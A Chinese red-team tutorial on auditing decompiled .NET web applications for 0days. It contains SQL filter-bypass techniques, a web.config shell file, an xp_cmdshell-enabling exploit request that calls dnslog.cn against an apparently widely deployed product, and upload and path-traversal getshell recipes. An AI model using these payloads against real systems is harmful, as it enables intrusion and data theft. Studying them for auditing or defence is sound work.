在红队攻防对抗中,.NET系统是出现频次比较高,.NET系统由于其架构特性,通常会将业务逻辑封装在DLL程序集中,通过ASPX/ASHX等页面文件进行调用。这种架构使得我们能够通过反编译技术快速还原源代码,结合静态代码审计和动态测试,快速定位SQL注入、命令执行、文件上传、反序列化等常见高危漏洞。本文将围绕获取源码、反编译、漏洞快速定位、绕过技巧和实战案例来帮助师傅们快速在红队场景中挖掘0day
凌风云网盘
https://www.lingfengyun.com/

闲鱼购买

指纹提取旁站扫描备份文件
指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名www.zip)

反编译 / 静态查看:ILSpy、dnSpy、dotPeek
dnSpy单个打开并导出到工程

使用dnSpy批量打开:
File -> Open -> 选择整个 bin 目录dnSpy会自动加载所有程序集 |
|---|
使用ILSpy命令行:
# 安装 ilspycmddotnet tool install ilspycmd -g# 反编译整个目录ilspycmd -p -o output_dir .\bin\*.dll# 反编译到单个文件ilspycmd -p -o output.cs .\bin\YourApp.dll |
|---|
使用脚本批量反编译:
把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹
(例如C:\xxx\lib\test.dll→C:\xxx\lib\test\),并将ilspycmd的输出写入该文件夹
@echo offchcp 65001setlocal enabledelayedexpansionREM 从当前目录递归查找所有 dllfor /R %%F in (*.dll) do ( REM %%F = 完整路径(含文件名和扩展名) set "dll_path=%%F" set "dll_name=%%~nF" set "dll_dir=%%~dpF" set "out_dir=%%~dpF%%~nF" echo 正在导出 "%%F" 到 "!out_dir!\ ..." if not exist "!out_dir!\" mkdir "!out_dir!" ilspycmd -p -o "!out_dir!" "%%F")echo 全部完成!pause |
|---|
去混淆: 混淆后的代码可能会出现类似的片段:
private string \u0001;private void \u0002(string \u0003){ if (this.\u0001 == \u0003)} |
|---|

处理混淆代码: 使用 de4dot 去混淆,下载程序添加至环境变量
https://github.com/0xd4d/de4dot
https://github.com/ViRb3/de4dot-cex
de4dot.exe source.dll -o Remove_obfuscated.dllde4dot.exe -r D:\input -ru -ro D:\output |
|---|
单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆
#!/usr/bin/env python3import osimport subprocessimport shutilfrom pathlib import Pathimport timedef main(): print("🔧 快速de4dot批量反混淆工具") print("=" * 40) try: result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5) if result.returncode != 0: raise Exception("de4dot命令执行失败") print("✅ de4dot全局命令检查通过") except Exception as e: print(f"❌ de4dot全局命令不可用: {e}") return current_dir = Path(".") dll_files = [] for pattern in ["*.dll", "*.exe"]: dll_files.extend(current_dir.glob(pattern)) exclude_patterns = [ "System.", "Microsoft.", "Newtonsoft.", "EntityFramework", "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp", "StackExchange.", "Thinktecture.", "BouncyCastle" ] filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)] if not filtered_files: print("❌ 当前目录没有找到需要处理的DLL文件") return print(f"📁 找到 {len(filtered_files)} 个文件需要处理:") for f in filtered_files: print(f" - {f.name}") output_dir = Path("deobfuscated") output_dir.mkdir(exist_ok=True) print(f"\n🚀 开始处理...") print(f"输出目录: {output_dir.absolute()}") success_count = 0 start_time = time.time() for i, dll_file in enumerate(filtered_files, 1): print(f"\n[{i}/{len(filtered_files)}] 🔄 处理: {dll_file.name}") try: output_subdir = output_dir / dll_file.stem output_subdir.mkdir(exist_ok=True) cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)] print(f" 执行: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) if result.returncode == 0: print(f" ✅ 成功: {dll_file.name}") success_count += 1 else: print(f" ❌ 失败: {dll_file.name}") except subprocess.TimeoutExpired: print(f" ⏰ 超时: {dll_file.name}") except Exception as e: print(f" ❌ 异常: {dll_file.name} - {e}") end_time = time.time() print(f"\n📊 处理完成! 成功 {success_count}/{len(filtered_files)} 个, 耗时 {end_time - start_time:.1f} 秒") print(f"输出目录: {output_dir.absolute()}") print("\n🎉 批量反混淆完成!")if __name__ == "__main__": main() |
|---|

去混淆前后对比

如AjaxUpload.aspx,逻辑代码在AjaxUpload.aspx.cs,页面会继承M_Main.AjaxUpload类,并自动绑定事件

这时候我们反编译M_Main.dll,并找到对应的AjaxUpload类,便可以开始愉快的代码审计了

漏洞类型 | 漏洞Sink点 | 审计描述 |
|---|---|---|
SQL 注入 | ExecuteNonQuery(),ExecuteReader(),ExecuteScalar(),SqlDataAdapter.Fill(),ExecuteSqlCommand(),ExecuteSqlRaw(),CreateSQLQuery(),connection.Query() | 检查点:查找 SQL 语句是否通过字符串拼接或格式化(+,String.Format,$"")将Request/Query/Form/Cookie等直接插入。 |
命令执行(RCE) | Process.Start(),ProcessStartInfo.FileName,ProcessStartInfo.Arguments | 检查点:是否把用户输入拼接到命令或传给 shell/PowerShell,FileName与Arguments是否来自外部 |
文件上传 / 任意文件写入 | SaveAs(),WriteAllBytes(),WriteAllText(),FileStream.Write() | 检查点:是否校验扩展名、MIME、内容类型、文件名(路径分隔符)、以及保存目录权限;是否防止覆盖已有文件,上传可执行脚本(.aspx/.ashx)getshell |
反序列化 | BinaryFormatter.Deserialize(),SoapFormatter.Deserialize(),JsonConvert.DeserializeObject(),LosFormatter.Deserialize() | 检查点:反序列化是否对不可信输入(Request、Cookie、ViewState、文件等)执行;是否使用不安全的序列化库(BinaryFormatter、SoapFormatter) |
任意文件读取 | File.ReadAllBytes(),File.ReadAllText(),Response.WriteFile(),Response.TransmitFile(),File() | 检查点:是否将用户参数直接作为文件路径输出或读取;是否存在未做路径合法化的文件下载接口。 |
路径遍历 | Server.MapPath(),Path.Combine(),File.Delete(),Directory.GetFiles() | 检查点:路径拼接是否包含未过滤的用户输入;Path.Combine后是否做规范化校验。 |
XXE(XML External Entity) | XmlDocument.LoadXml(),XmlDocument.Load(),XmlReader.Create(),DataSet.ReadXml() | 检查点:XML 解析是否启用了外部实体解析(DTD);是否解析来自不受信任来源的 XML。 |
SSRF | WebClient.DownloadString(),HttpClient.GetAsync(),WebRequest.Create(),HttpClient.PostAsync() | 检查点:是否允许用户指定 URL 并由服务器发起请求;是否对目标地址做白名单或内部地址检测。 |
远程文件下载 | WebClient.DownloadFile()、HttpClient.GetStreamAsync()、HttpClient.GetByteArrayAsync() | 检查点:是否允许用户提供远程文件 URL(例如通过参数、表单、配置等输入),是否存在任意文件写入风险(保存路径是否可控、是否拼接了用户输入 |
{controller}/{action}/{id}会将所有 public action 暴露出来var controllerTypes = typeof(MvcApplication).Assembly.GetTypes() .Where(t => t.IsSubclassOf(typeof(Controller)));foreach (var ctrl in controllerTypes){ var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance) .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult)); Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");} |
|---|
ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如GetUser、ResetPassword、UploadFile)
.asmx文件名与常见服务名称,如service.asmx、webservice.asmx、CommonService
dir /s /b *.asmx或者everything筛选出存在且能访问到的webservice服务
https://github.com/SmartBear/soapui
soap发包,部分时候需要对内容进行html编码

<handlers> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /></handlers> |
|---|
分析方法:
path="ajax/*.ashx"→ 表示/ajax/*.ashx路径可访问path="scissors.axd"→ 表示/scissors.axd路径可访问verb="POST,GET"或verb="*"→ 表示支持的HTTP方法在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证
[Route("uploadAnony")]定义路由为/uploadAnony
[AllowAnonymous]允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件
[HttpPost]限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法
[Route("uploadAnony")][AllowAnonymous][HttpPost]public IHttpActionResult uploadAnony(string code){ HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()]; string A4 = A2[Class0.ahA()]; string B = A4.Split('.').ToList().Last(); A3.SaveAs(text);} |
|---|

大多数系统会全局过滤SQL注入关键字,类似片段如下

检测了以下关键字,当检测到会报错停止
exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|-- |
|---|

这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:
union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml |
|---|
除此以外,还可以使用以下方法进行绕过:
SelEct%3C%3Fxml等编码\t和\n替代空格、注释符: 使用/* */等注释符在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点
string fileName = Path.GetFileName(fileUpload.FileName);string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };if (banned.Contains(fileExt)){ Response.Write("不允许上传的文件类型"); return;} |
|---|

存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问

解决⽅案:上传web.config格式的shell⽂件,可解析成功
通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开
<handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /></handlers><security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering></security> |
|---|

Fofa资产数量1500多,也算是个小通杀

在Web.config的<httpHandlers>节点中配置了以下可直接前台访问的 .ashx 文件:
这些路径通过 Web.config 中的<httpHandlers>节点配置,是虚拟路径映射,不需要物理文件存在

文件位置:bin/xxxx/AppDataHandler.cs

首先提供两个危险方法:
ExcuteNonQuerry- 执行 INSERT/UPDATE/DELETE 等操作GetDataTableByText- 执行 SELECT 查询并返回结果public void ProcessRequest(HttpContext context){ context.Response.Cache.SetCacheability(HttpCacheability.NoCache); switch (context.Request["action"]) { case "ExcuteNonQuerry": ExcuteNonQuerry(context); break; case "GetDataTableByText": GetDataTableByText(context); break; |
|---|
接口直接从请求参数中读取cmdtext,用户提交的cmdtext参数直接作为 SQL 语句执行
string cmdText = context.Request["cmdtext"]; |
|---|
然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤
bool flag = iDDatabase.ExecuteNonQuery(cmdText);DataSet dataSet = iDDatabase.GetDataSet(cmdText); |
|---|

执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将xp_cmdshell设置为1

POST /xxxxx/AppData.ashx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedCookie: XXXaction=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn' |
|---|
后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了


通过ID越权获取身份证号
只检验id是否存在,符合类型则返回结果,没有检查请求者是否为该id的拥有者或有权限访问该用户信息

身份证号重置密码

gidcard参数在GUARDER表中查找记录,如果不存在,返回错误信息gurpass是否正常解密GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);if (gUARDER == null){ return HtmlHelpers.FailJsonResult("身份证号不存在!");} |
|---|
DesDecrypt函数,硬编码key = "123456"
string message = gurpass;gurpass = des.DesDecrypt("123456", message);public static string DesDecrypt(string key, string message){ return DES(key, HexToString(message), isEncrypt: false, 0, "");} |
|---|
整个gurpass解密过程大体如下
WeiXinController.DoResetGPwd() ↓des.DesDecrypt() ├─→ HexToString() └─→ DES() ├─→ DES_CreateKey() │ └─→ MoveByte() └─→ MoveByte() |
|---|
根据解密逻辑编写脚本进行加密

使用存在的身份证号成功重置密码

后台任意文件上传
审计要点:
# 查找文件上传相关代码grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/ |
|---|

可以看到这里直接拼接路径回显,没有限制上传后缀
private ResponseData UploadFiles(HttpContext context){ ResponseData responseData = new ResponseData(); string strErrorMsg; List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg); // ...}{ if (context.Request.Files.Count > 0) { for (int i = 0; i < context.Request.Files.Count; i++) { HttpPostedFile httpPostedFile = context.Request.Files[i]; if (httpPostedFile.ContentLength > 0) { string extension = Path.GetExtension(httpPostedFile.FileName); // ❌ 未验证 string text3 = Guid.NewGuid().ToString() + extension; httpPostedFile.SaveAs(text2 + text3); // ❌ 直接保存 } } }} |
|---|
但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx

幸运的是能解析

如果像下面这种FilePath和PathType由用户可控,getshell则容易许多
protected void Page_Load(object sender, EventArgs e){ if (base.Request.Files["Filedata"] != null) { HttpPostedFile httpPostedFile = base.Request.Files["Filedata"]; string text = base.Request["FilePath"]; // 用户可控的路径 if (string.IsNullOrEmpty(text)) { string text2 = base.Request["PathType"]; // 用户可控 if (string.IsNullOrEmpty(text2) || text2 == "Default") { text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}"; } else { AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true); text = CGeneral.GetAccessaryDir(accessaryType); } } |
|---|
或者是像这种路径拼接的,可以通过../../../进行路径遍历,写到前台可以访问解析的路径下
string folder = Request["folder"];string path = Path.Combine("~/uploads/", folder, fileName); file.SaveAs(Server.MapPath(path)); |
|---|
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。